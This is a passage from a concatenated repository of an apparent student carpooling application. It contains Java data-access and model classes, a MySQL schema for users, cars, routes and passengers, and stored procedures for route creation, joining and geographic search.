updated=false;
}
if(updated) {
return GoogleGeoApi.polylineDelSubpoints(retour, polylineIntervalSizeMin);
}else{
return retour;
}
}
private static ArrayList<Hashtable<String, Object>> constructSegments(
ArrayList<Hashtable<String, Double>> points,
Integer globalDuration) {
ArrayList<Hashtable<String, Object>> retour = new ArrayList<Hashtable<String, Object>>();
int hashSize=points.size();
if( hashSize >= 2) {
Double distance=(double) 0;
for(int hashI=0 ; hashI < hashSize-1 ; hashI++) {
Double pt1Lat = points.get(hashI).get("latitude");
Double pt1Lng = points.get(hashI).get("longitude");
Double pt2Lat = points.get(hashI+1).get("latitude");
Double pt2Lng = points.get(hashI+1).get("longitude");
Double d = Math.sqrt( Math.pow(pt2Lat - pt1Lat, 2) + Math.pow(pt2Lng - pt1Lng, 2));
distance+=d;
}
for(int hashI=0 ; hashI < hashSize-1 ; hashI++) {
Hashtable<String, Object> segment = new Hashtable<String, Object>();
Double pt1Lat = points.get(hashI).get("latitude");
Double pt1Lng = points.get(hashI).get("longitude");
Double pt2Lat = points.get(hashI+1).get("latitude");
Double pt2Lng = points.get(hashI+1).get("longitude");
Double d = Math.sqrt( Math.pow(pt2Lat - pt1Lat, 2) + Math.pow(pt2Lng - pt1Lng, 2));
Double proportion = d / distance;
segment.put("begin", points.get(hashI));
segment.put("end", points.get(hashI+1));
segment.put("duration", Double.valueOf(Math.round(globalDuration * proportion)));
retour.add(segment);
}
}
return retour;
}
}
<file_sep>/Base de donnees/v2/sims.v2.create.sql
-- TODO constraint for criterion
-- sims SQL V2, Sprint 2
-- From <NAME>
CREATE TABLE IF NOT EXISTS _criterion_type_ctt (
ctt_id INT(11) PRIMARY KEY AUTO_INCREMENT,
ctt_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
INDEX(ctt_label)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS _criterion_crt (
crt_id INT(11) PRIMARY KEY AUTO_INCREMENT,
crt_type INT(11) NOT NULL,
crt_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
crt_root_criterion INT(11) NULL DEFAULT NULL COMMENT 'Father, used for arborescence criterions. NULL for root element',
crt_order INT(11) NOT NULL DEFAULT 1,
INDEX(crt_type),
INDEX(crt_root_criterion),
INDEX(crt_label),
INDEX(crt_order)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
-- Table de cache permettant de faire des recherches arborescentes plus facilement
CREATE TABLE IF NOT EXISTS crt_crt (
crt_container INT(11) NOT NULL,
crt_contained INT(11) NOT NULL,
PRIMARY KEY (crt_container, crt_contained),
INDEX(crt_container),
INDEX(crt_contained)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS user_usr (
usr_id INT(11) PRIMARY KEY AUTO_INCREMENT,
usr_firstname VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '',
usr_lastname VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '' ,
usr_email VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT 'email is login',
usr_password VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT 'password is md5(concat(usr_id,password_clear))' ,
usr_current_position INT(11) NULL DEFAULT NULL,
usr_genre ENUM('male','female') NOT NULL,
usr_birthdate BIGINT(20) NULL DEFAULT NULL,
usr_description TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
usr_mobilphone VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '' ,
-- usr_reputation INT(11) NOT NULL,
usr_note INT(2) NULL DEFAULT NULL COMMENT 'Member review average of this member, null for none',
usr_registrationdate BIGINT(20) NOT NULL DEFAULT 0,
usr_lastlogindate BIGINT(20) NOT NULL DEFAULT 0,
UNIQUE(usr_email),
INDEX(usr_current_position)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS usr_crt (
usr_id INT(11) NOT NULL,
crt_id INT(11) NOT NULL,
PRIMARY KEY(usr_id, crt_id),
INDEX(usr_id),
INDEX(crt_id)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS position_pos (
pos_id INT(11) PRIMARY KEY AUTO_INCREMENT,
pos_address VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,
pos_latitude FLOAT(10,6) NOT NULL,
pos_longitude FLOAT(10,6) NOT NULL,
INDEX(pos_latitude),
INDEX(pos_longitude),
INDEX(pos_address)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS car_car (
car_id INT(11) PRIMARY KEY AUTO_INCREMENT,
car_name VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
car_seat INT(2) NULL DEFAULT NULL,
car_owner INT(11) NOT NULL,
INDEX(car_owner)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS _route_type_rtp (
rtp_id INT(11) PRIMARY KEY AUTO_INCREMENT,
rtp_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
INDEX(rtp_label)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS route_rte (
rte_id INT(11) PRIMARY KEY AUTO_INCREMENT,
rte_type INT(11) NOT NULL COMMENT 'Type of traject : I want one or I propose one',
rte_pos_begin INT(11) NOT NULL,
rte_pos_end INT(11) NOT NULL,
rte_date_begin BIGINT(20) NOT NULL,
rte_date_end BIGINT(20) NULL DEFAULT NULL,
rte_comment TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT 'textual comment of the owner about the route' ,
rte_owner INT(11) NOT NULL COMMENT 'Proprietaire du trajet',
rte_seat INT(2) NULL DEFAULT NULL COMMENT 'Number of seat needed / proposed. NULL <=> not set',
rte_car INT(11) NULL DEFAULT NULL COMMENT 'Optional - Car used for this traject',
rte_deletedate BIGINT(20) NULL DEFAULT NULL COMMENT 'Delete date, null if this route is not deleted',
rte_price FLOAT(10,2) NULL DEFAULT NULL,
INDEX(rte_type),
INDEX(rte_pos_begin),
INDEX(rte_pos_end),
INDEX(rte_date_begin),
INDEX(rte_date_end),
INDEX(rte_owner),
INDEX(rte_seat),
INDEX(rte_car)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS user_fav_pos_ufp (
ufp_id INT(11) PRIMARY KEY AUTO_INCREMENT,
ufp_user INT(11) NOT NULL,
ufp_position INT(11) NOT NULL,
ufp_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
INDEX(ufp_user),
INDEX(ufp_position)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS _passager_type_pgt (
pgt_id INT(11) PRIMARY KEY AUTO_INCREMENT,
pgt_label VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS passager_psg (
psg_id INT(11) PRIMARY KEY AUTO_INCREMENT,
psg_route INT(11) NOT NULL,
psg_user INT(11) NOT NULL,
psg_type INT(11) NOT NULL,
psg_askdate BIGINT(20) NOT NULL COMMENT 'Date de la demande',
psg_pos_begin INT(11) NOT NULL,
psg_pos_end INT(11) NOT NULL,
INDEX(psg_route),
INDEX(psg_user),
INDEX(psg_type),
INDEX(psg_askdate),
INDEX(psg_pos_begin),
INDEX(psg_pos_end)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS googlecache_gch (
gch_id INT(11) PRIMARY KEY AUTO_INCREMENT,
gch_address VARCHAR(255) NULL DEFAULT NULL,
gch_latitude FLOAT(10,6) NULL DEFAULT NULL,
gch_longitude FLOAT(10,6) NULL DEFAULT NULL,
INDEX(gch_latitude),
INDEX(gch_longitude),
INDEX(gch_address)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE IF NOT EXISTS comment_cmn (
cmn_id INT(11) PRIMARY KEY AUTO_INCREMENT,
cmn_user_from INT(11) NOT NULL,
cmn_user_to INT(11) NOT NULL,
cmn_comment_text TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT 'Textual comment about the owner' ,
cmn_comment_note INT(2) NULL DEFAULT NULL COMMENT 'A value between 1-5 to evaluate the conductor',
INDEX(cmn_user_from),
INDEX(cmn_user_to),
INDEX(cmn_comment_note)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE TABLE segment_seg (
seg_id INT(11) PRIMARY KEY AUTO_INCREMENT,
seg_route INT(11) NOT NULL,
seg_pos_begin INT(11) NOT NULL,
seg_pos_end INT(11) NOT NULL,
seg_duration INT(11) NOT NULL COMMENT 'duration of this portion in second',
seg_date_begin BIGINT(20) NOT NULL DEFAULT 0,
seg_order INT(11) NOT NULL DEFAULT 0,
INDEX(seg_route),
INDEX(seg_pos_begin),
INDEX(seg_pos_end),
INDEX(seg_date_begin),
INDEX(seg_order)
) ENGINE = InnoDb DEFAULT CHARACTER SET = utf8
COLLATE = utf8_general_ci;
CREATE VIEW _view_user_usr AS (SELECT usr_id,usr_firstname, usr_lastname,usr_email,usr_password, usr_current_position ,usr_genre, FROM_UNIXTIME(usr_birthdate) AS usr_birthdate,usr_description,usr_mobilphone,usr_note, FROM_UNIXTIME(usr_registrationdate) AS usr_registrationdate,FROM_UNIXTIME(usr_lastlogindate) AS usr_lastlogindate FROM user_usr);
CREATE VIEW _view_passager_psg AS (SELECT psg_id, psg_route, psg_user, psg_type, FROM_UNIXTIME(psg_askdate) AS psg_askdate FROM passager_psg);
CREATE VIEW _view_route_rte AS ( SELECT
rte_id,
rte_type,
rte_pos_begin,
rte_pos_end,
FROM_UNIXTIME(rte_date_begin) AS rte_date_begin,
FROM_UNIXTIME(rte_date_end) AS rte_date_end,
rte_comment,
rte_owner,
rte_seat,
rte_car,
FROM_UNIXTIME(rte_deletedate) AS rte_deletedate,
rte_price FROM route_rte);
ALTER TABLE user_usr
ADD CONSTRAINT usr_ufp_constraint FOREIGN KEY (usr_current_position) REFERENCES user_fav_pos_ufp (ufp_id);
ALTER TABLE car_car
ADD CONSTRAINT car_owner_constraint FOREIGN KEY (car_owner) REFERENCES user_usr (usr_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_rte_type_contraint FOREIGN KEY (rte_type) REFERENCES _route_type_rtp(rtp_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_pos_begin_constraint FOREIGN KEY (rte_pos_begin) REFERENCES position_pos (pos_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_pos_end_constraint FOREIGN KEY (rte_pos_end) REFERENCES position_pos (pos_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_owner_constraint FOREIGN KEY (rte_owner) REFERENCES user_usr (usr_id);
ALTER TABLE route_rte
ADD CONSTRAINT route_car_constraint FOREIGN KEY (rte_car) REFERENCES car_car (car_id);
ALTER TABLE user_fav_pos_ufp
ADD CONSTRAINT user_fav_user_constraint FOREIGN KEY (ufp_user) REFERENCES user_usr (usr_id);
ALTER TABLE user_fav_pos_ufp
ADD CONSTRAINT user_fav_position_constraint FOREIGN KEY (ufp_position) REFERENCES position_pos(pos_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_route_constraint FOREIGN KEY (psg_route) REFERENCES route_rte (rte_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_user_constraint FOREIGN KEY (psg_user) REFERENCES user_usr (usr_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_pos_begin_constraint FOREIGN KEY (psg_pos_begin) REFERENCES position_pos (pos_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_pos_end_constraint FOREIGN KEY (psg_pos_end) REFERENCES position_pos (pos_id);
ALTER TABLE comment_cmn
ADD CONSTRAINT comment_user_from_constraint FOREIGN KEY (cmn_user_from) REFERENCES user_usr (usr_id);
ALTER TABLE comment_cmn
ADD CONSTRAINT comment_user_to_constraint FOREIGN KEY (cmn_user_to) REFERENCES user_usr (usr_id);
ALTER TABLE _criterion_crt
ADD CONSTRAINT criterion_type_constraint FOREIGN KEY (crt_type) REFERENCES _criterion_type_ctt (ctt_id);
ALTER TABLE _criterion_crt
ADD CONSTRAINT criterion_root_constraint FOREIGN KEY (crt_root_criterion) REFERENCES _criterion_crt (crt_id);
ALTER TABLE crt_crt
ADD CONSTRAINT crt_crt_container_constraint FOREIGN KEY (crt_container) REFERENCES _criterion_crt (crt_id);
ALTER TABLE crt_crt
ADD CONSTRAINT crt_crt_contained_constraint FOREIGN KEY (crt_contained) REFERENCES _criterion_crt (crt_id);
ALTER TABLE usr_crt
ADD CONSTRAINT usr_crt_user_constraint FOREIGN KEY (usr_id) REFERENCES user_usr (usr_id);
ALTER TABLE usr_crt
ADD CONSTRAINT usr_crt_criterion_constraint FOREIGN KEY (crt_id) REFERENCES _criterion_crt (crt_id);
ALTER TABLE passager_psg
ADD CONSTRAINT passager_type_constraint FOREIGN KEY (psg_type) REFERENCES _passager_type_pgt (pgt_id);
ALTER TABLE segment_seg
ADD CONSTRAINT segment_pos_begin_constraint FOREIGN KEY (seg_pos_begin) REFERENCES position_pos (pos_id);
ALTER TABLE segment_seg
ADD CONSTRAINT segment_pos_end_constraint FOREIGN KEY (seg_pos_end) REFERENCES position_pos (pos_id);
ALTER TABLE segment_seg
ADD CONSTRAINT segment_route_constraint FOREIGN KEY (seg_route) REFERENCES route_rte (rte_id);
<file_sep>/Covoiturage/src/dao/DaoGoogleGeo.java
package dao;
import java.sql.ResultSet;
import java.util.Hashtable;
import model.Google_cache;
public class DaoGoogleGeo {
public static ConnexionBD con;
public static void createOrUpdateGoogleGeo(String address,
Hashtable<String, Double> coords) {
con = null;
try {
con = ConnexionBD.getConnexion();
String query;
query = "call googlecache_create_or_update('"
+ ConnexionBD.escape(address) + "', "
+ coords.get("latitude") + ", "
+ coords.get("longitude") + ")";
con.execute(query);
} catch (Exception ex) {
ex.printStackTrace();
}
}
public static Google_cache getByAddress(String address) {
con = null;
Google_cache gch = null;
try {
con = ConnexionBD.getConnexion();
String query = "call googlecache_get_by_address('"
+ ConnexionBD.escape(address) + "')";
ResultSet curseur = con.execute(query);
if (curseur.first()) {
gch = new Google_cache(curseur);
} else {
return null;
}
} catch (Exception e) {
e.printStackTrace();
return null;
}
return gch;
}
public static Google_cache getByCoords(Hashtable<String, Double> coords) {
con = null;
Google_cache gch = null;
try {
con = ConnexionBD.getConnexion();
String query = "call googlecache_get_by_coords(" + coords.get("latitude") + ", "
+ coords.get("longitude") + ")";
ResultSet curseur = con.execute(query);
if (curseur.first()) {
gch = new Google_cache(curseur);
} else {
return null;
}
} catch (Exception e) {
e.printStackTrace();
return null;
}
return gch;
}
}
<file_sep>/Base de donnees/v2/procedures/sims.v2.procedure.route.sql
-- sims SQL V2, Sprint 2
-- Procedures stokes, route
-- From <NAME>
DELIMITER //
-- Return user_id of associated user or null if not
DROP PROCEDURE IF EXISTS route_create //
CREATE PROCEDURE route_create (
IN _rte_type INT(11),
IN _rte_pos_begin INT(11),
IN _rte_pos_end INT(11),
IN _rte_date_begin INT(11),
IN _rte_date_end INT(11),
IN _rte_comment TEXT,
IN _rte_owner INT(11),
IN _rte_seat INT(2),
IN _rte_car INT(11)
)
BEGIN
DECLARE __rte_id INT(11);
call _route_create(_rte_type,
_rte_pos_begin,
_rte_pos_end,
_rte_date_begin,
_rte_date_end,
_rte_comment,
_rte_owner,
_rte_seat,
_rte_car,
__rte_id
);
SELECT * FROM route_rte WHERE rte_id=__rte_id;
END //
DROP PROCEDURE IF EXISTS _route_create //
CREATE PROCEDURE _route_create (
IN _rte_type INT(11),
IN _rte_pos_begin INT(11),
IN _rte_pos_end INT(11),
IN _rte_date_begin INT(11),
IN _rte_date_end INT(11),
IN _rte_comment TEXT,
IN _rte_owner INT(11),
IN _rte_seat INT(2),
IN _rte_car INT(11),
OUT _rte_id INT(11)
)
BEGIN
INSERT INTO route_rte
(
rte_id,
rte_type,
rte_pos_begin,
rte_pos_end,
rte_date_begin,
rte_date_end,
rte_comment,
rte_owner,
rte_seat,
rte_car
)
VALUES
(
NULL,
_rte_type,
_rte_pos_begin,
_rte_pos_end,
_rte_date_begin,
_rte_date_end,
_rte_comment,
_rte_owner,
_rte_seat,
_rte_car
);
SELECT LAST_INSERT_ID() INTO _rte_id;
END //
DROP PROCEDURE IF EXISTS route_add_segment //
CREATE PROCEDURE route_add_segment (
IN _rte_id INT(11),
IN _pos_begin INT(11),
IN _pos_end INT(11),
IN _duration INT(11),
IN _date_begin BIGINT(20),
IN _order INT(11)
)
BEGIN
INSERT INTO segment_seg (seg_id , seg_route , seg_pos_begin , seg_pos_end , seg_duration , seg_date_begin, seg_order) VALUES
(NULL , _rte_id , _pos_begin , _pos_end , _duration , _date_begin , _order);
END //
DROP PROCEDURE IF EXISTS route_del_all_segment //
CREATE PROCEDURE route_del_all_segment (
IN _rte_id INT(11)
)
BEGIN
DELETE FROM segment_seg WHERE seg_route = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_del_by_id //
CREATE PROCEDURE route_del_by_id (
IN _rte_id INT(11)
)
BEGIN
DELETE FROM segment_seg WHERE seg_route = _rte_id;
DELETE FROM passager_psg WHERE psg_route = _rte_id;
DELETE FROM route_rte WHERE rte_id = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_join //
CREATE PROCEDURE route_join (
IN _rte_id INT(11),
IN _usr_id INT(11)
)
BEGIN
DECLARE __pos_begin INT(11);
DECLARE __pos_end INT(11);
SELECT rte_pos_begin, rte_pos_end INTO __pos_begin, __pos_end FROM route_rte WHERE rte_id = _rte_id;
INSERT IGNORE INTO passager_psg (psg_id ,psg_route ,psg_user, psg_type , psg_askdate , psg_pos_begin , psg_pos_end ) VALUES
(NULL , _rte_id , _usr_id, 1 , UNIX_TIMESTAMP() , __pos_begin , __pos_end );
-- 3 waiting
-- 1 accepted
END //
DROP PROCEDURE IF EXISTS route_passager_edit_type //
CREATE PROCEDURE route_passager_edit_type (
IN _rte_id INT(11),
IN _usr_id INT(11),
in _pgt_id INT(11)
)
BEGIN
UPDATE passager_psg SET psg_type = _pgt_id WHERE psg_user = _usr_id AND psg_route = _rte_id;
-- 3 waiting
END //
DROP PROCEDURE IF EXISTS route_search //
CREATE PROCEDURE route_search (
IN _position_begin_id INT(11),
IN _position_end_id INT(11)
)
BEGIN
SELECT *
FROM route_rte
WHERE
rte_pos_begin = _position_begin_id
AND rte_pos_end = _position_end_id
AND rte_deletedate IS NULL;
END //
DROP PROCEDURE IF EXISTS route_search_with_date //
CREATE PROCEDURE route_search_with_date (
IN _position_begin_id INT(11),
IN _position_end_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11)
)
BEGIN
SELECT *
FROM route_rte
WHERE
rte_pos_begin = _position_begin_id
AND rte_pos_end = _position_end_id
AND rte_deletedate IS NULL
AND rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure;
END //
DROP PROCEDURE IF EXISTS route_search_with_date_and_delta //
CREATE PROCEDURE route_search_with_date_and_delta (
IN _position_begin_id INT(11),
IN _position_end_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11),
IN _location_approximate_nb_meters INT(11),
IN _rtp_id INT(11)
)
BEGIN
DECLARE __delta_deg_x FLOAT(10,6);
DECLARE __delta_deg_y FLOAT(10,6);
/*
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0.0009) As tmp INTO __delta_deg_x;
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0,0014) As tmp INTO __delta_deg_y;
*/
SELECT _location_approximate_nb_meters / 100 * 0.0019 INTO __delta_deg_x;
SELECT _location_approximate_nb_meters / 100 * 0.0014 INTO __delta_deg_y;
SELECT *
FROM route_rte
INNER JOIN position_pos AS posbeg ON posbeg.pos_id = rte_pos_begin
INNER JOIN position_pos AS posend ON posend.pos_id = rte_pos_end
INNER JOIN position_pos AS posbegask ON posbegask.pos_id = _position_begin_id
INNER JOIN position_pos AS posendask ON posendask.pos_id = _position_end_id
WHERE
posbeg.pos_latitude BETWEEN (posbegask.pos_latitude - __delta_deg_x) AND (posbegask.pos_latitude + __delta_deg_x)
AND posbeg.pos_longitude BETWEEN (posbegask.pos_longitude - __delta_deg_y) AND (posbegask.pos_longitude + __delta_deg_y)
AND posend.pos_latitude BETWEEN (posendask.pos_latitude - __delta_deg_x) AND (posendask.pos_latitude + __delta_deg_x)
AND posend.pos_longitude BETWEEN (posendask.pos_longitude - __delta_deg_y) AND (posendask.pos_longitude + __delta_deg_y)
AND rte_deletedate IS NULL
AND rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND (rte_type = _rtp_id OR _rtp_id = 0);
END //
DROP PROCEDURE IF EXISTS route_search_with_date_and_delta_using_subtraject //
CREATE PROCEDURE route_search_with_date_and_delta_using_subtraject (
IN _position_begin_id INT(11),
IN _position_end_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11),
IN _location_approximate_nb_meters INT(11),
IN _rtp_id INT(11)
)
BEGIN
DECLARE __delta_deg_x FLOAT(10,6);
DECLARE __delta_deg_y FLOAT(10,6);
/*
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0.0009) As tmp INTO __delta_deg_x;
SELECT ( ( _location_approximate_nb_meters / 100 ) * 0,0014) As tmp INTO __delta_deg_y;
*/
SELECT _location_approximate_nb_meters / 100 * 0.0019 INTO __delta_deg_x;
SELECT _location_approximate_nb_meters / 100 * 0.0014 INTO __delta_deg_y;
SELECT DISTINCT rte.*
FROM route_rte rte
-- on jointe avec les positions de depart et d'arrive demandées
INNER JOIN position_pos AS posbegask ON posbegask.pos_id = _position_begin_id
INNER JOIN position_pos AS posendask ON posendask.pos_id = _position_end_id
-- on jointe avec des segments
INNER JOIN segment_seg AS segbeg ON segbeg.seg_route = rte.rte_id
INNER JOIN position_pos AS posbeg ON posbeg.pos_id = segbeg.seg_pos_begin
INNER JOIN segment_seg AS segend ON segend.seg_route = rte.rte_id
INNER JOIN position_pos AS posend ON posend.pos_id = segend.seg_pos_end
WHERE
posbeg.pos_latitude BETWEEN (posbegask.pos_latitude - __delta_deg_x) AND (posbegask.pos_latitude + __delta_deg_x)
AND posbeg.pos_longitude BETWEEN (posbegask.pos_longitude - __delta_deg_y) AND (posbegask.pos_longitude + __delta_deg_y)
AND posend.pos_latitude BETWEEN (posendask.pos_latitude - __delta_deg_x) AND (posendask.pos_latitude + __delta_deg_x)
AND posend.pos_longitude BETWEEN (posendask.pos_longitude - __delta_deg_y) AND (posendask.pos_longitude + __delta_deg_y)
AND ( (
-- AND
rte.rte_deletedate IS NULL
-- AND rte.rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND segbeg.seg_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND (rte_type = _rtp_id OR _rtp_id = 0)
AND (segbeg.seg_order > segend.seg_order OR 1)
) OR 0)
;
END //
DROP PROCEDURE IF EXISTS route_search_of_owner //
CREATE PROCEDURE route_search_of_owner (
IN _owner_id INT(11),
IN _begin_date_departure BIGINT(11),
IN _end_date_departure BIGINT(11),
IN _location_approximate_nb_meters INT(11),
IN _rtp_id INT(11)
)
BEGIN
SELECT rte.*
FROM route_rte rte
WHERE
rte_owner = _owner_id
AND rte_deletedate IS NULL
AND rte_date_begin BETWEEN _begin_date_departure AND _end_date_departure
AND (rte_type = _rtp_id OR _rtp_id = 0);
END //
DROP PROCEDURE IF EXISTS route_delete //
CREATE PROCEDURE route_delete (
IN _rte_id INT(11)
)
BEGIN
UPDATE route_rte SET rte_deletedate=UNIX_TIMESTAMP() WHERE rte_id = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_get_passagers //
CREATE PROCEDURE route_get_passagers (
IN _rte_id INT(11)
)
BEGIN
SELECT usr.*, psg.*
FROM passager_psg as psg
INNER JOIN user_usr ON psg.psg_user = usr.usr_id
WHERE
psg_route = _rte_id;
END //
DROP PROCEDURE IF EXISTS route_get_passagers_of_type //
CREATE PROCEDURE route_get_passagers_of_type (
IN _rte_id INT(11),
IN _pgt_id INT(11)
)
BEGIN
SELECT usr.*, psg.*
FROM passager_psg as psg
INNER JOIN user_usr usr ON psg.psg_user = usr.usr_id
WHERE
psg_route = _rte_id
AND (psg_type = _pgt_id OR _pgt_id = 0 );
END //
DROP PROCEDURE IF EXISTS route_get_segments //
CREATE PROCEDURE route_get_segments (
IN _rte_id INT(11)
)
BEGIN
SELECT seg.*,
pbeg.pos_id AS pbeg_pos_id,
pbeg.pos_address AS pbeg_pos_address,
pbeg.pos_latitude AS pbeg_pos_latitude,
pbeg.pos_longitude AS pbeg_pos_longitude,
pend.pos_id AS pend_pos_id,
pend.pos_address AS pend_pos_address,
pend.pos_latitude AS pend_pos_latitude,
pend.pos_longitude AS pend_pos_longitude
FROM segment_seg seg
INNER JOIN position_pos pbeg ON seg.seg_pos_begin = pbeg.pos_id
INNER JOIN position_pos pend ON seg.seg_pos_end = pend.pos_id
WHERE
seg.seg_route = _rte_id;
END //
DELIMITER ;
<file_sep>/Covoiturage/src/dao/DaoCriterion.java
package dao;
import java.sql.ResultSet;
import java.util.Hashtable;
import model.Criterion;
import model.Criterion_type;
public class DaoCriterion {
public static ConnexionBD con;
public static Criterion getCriterion(int crt_id) {
Criterion crt = null;
try {
con = ConnexionBD.getConnexion();
String query = "SELECT * FROM _criterion_crt WHERE crt_id= " + crt_id + "";
ResultSet curseur = con.execute(query);
if (curseur.first()) {
crt = new Criterion(curseur);
return crt;
} else {
return null;
}
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static Criterion getCriterion(Criterion crt) {
return DaoCriterion.getCriterion(crt.getId());
}
public static Criterion_type getCriterion_type(int ctt_id) {
Criterion_type ctt = null;
try {
con = ConnexionBD.getConnexion();
String query = "SELECT * FROM _criterion_type_ctt WHERE ctt_id= " + ctt_id
+ "";
ResultSet curseur = con.execute(query);
if (curseur.first()) {
ctt = new Criterion_type(curseur);
return ctt;
} else {
return null;
}
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static Criterion_type getCriterion_type(Criterion_type ctt) {
return DaoCriterion.getCriterion_type(ctt.getId());
}
public static Hashtable<Integer, Criterion> getCriterionsOfUser(int usr_id) {
Hashtable<Integer, Criterion> list = new Hashtable<Integer, Criterion>();
try {
con = ConnexionBD.getConnexion();
String query = "call get_criterions_of_user(" + usr_id + ")";
ResultSet curseur = con.execute(query);
while(curseur.next()) {
list.put(curseur.getInt("crt_id"), new Criterion(curseur));
}
} catch (Exception e) {
return list;
}
return list;
}
public static Hashtable<Integer, Criterion> getCriterionsOfUserOfType(int usr_id, int ctt_id) {
Hashtable<Integer, Criterion> list = new Hashtable<Integer, Criterion>();
try {
con = ConnexionBD.getConnexion();
String query = "call get_criterions_of_user_of_type(" + usr_id + ", " + ctt_id + ")";
ResultSet curseur = con.execute(query);
while(curseur.next()) {
list.put(curseur.getInt("crt_id"), new Criterion(curseur));
}
} catch (Exception e) {
return list;
}
return list;
}
}
<file_sep>/Base de donnees/v2/simsv2.all.ref.sql
\. ./sims.v2.drop.sql
delimiter //
\. ./procedures/sims.v2.procedure.criterion.sql
\. ./procedures/sims.v2.procedure.position.sql
\. ./procedures/sims.v2.procedure.route.sql
\. ./procedures/sims.v2.procedure.user.sql
\. ./procedures/sims.v2.procedure.comment.sql
delimiter ;
\. ./sims.v2.create.sql
\. ./sims.v2.insert.sql
<file_sep>/Covoiturage/src/model/User_criterion.java
package model;
public class User_criterion {
protected int user_id;
protected int crt_id;
/**
* @return the user_id
*/
public int getUser_id() {
return user_id;
}
/**
* @param user_id the user_id to set
*/
public void setUser_id(int user_id) {
this.user_id = user_id;
}
/**
* @return the crt_id
*/
public int getCrt_id() {
return crt_id;
}
/**
* @param crt_id the crt_id to set
*/
public void setCrt_id(int crt_id) {
this.crt_id = crt_id;
}
/**
* @param user_id
* @param crt_id
*/
public User_criterion(int user_id, int crt_id) {
super();
this.user_id = user_id;
this.crt_id = crt_id;
}
}
<file_sep>/Base de donnees/v2/procedures/sims.v2.procedure.position.sql
-- sims SQL V2, Sprint 2
-- Procedures stokes - position
-- From <NAME>
DELIMITER //
-- Return position of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS position_get_by_address //
CREATE PROCEDURE position_get_by_address (
IN _address VARCHAR(255)
)
BEGIN
DECLARE __pos_id INT(11);
call _position_get_by_address(_address,__pos_id);
SELECT * FROM position_pos WHERE pos_id=__pos_id;
end //
-- Return position id of an address or nothing if it's not found
DROP PROCEDURE IF EXISTS _position_get_by_address //
CREATE PROCEDURE _position_get_by_address (
IN _address VARCHAR(255),
OUT _pos_id INT(11)
)
BEGIN
SELECT pos_id INTO _pos_id FROM position_pos WHERE pos_address = _address LIMIT 1;
end //
-- Store a new position
DROP PROCEDURE IF EXISTS position_create_or_update //
CREATE PROCEDURE position_create_or_update (
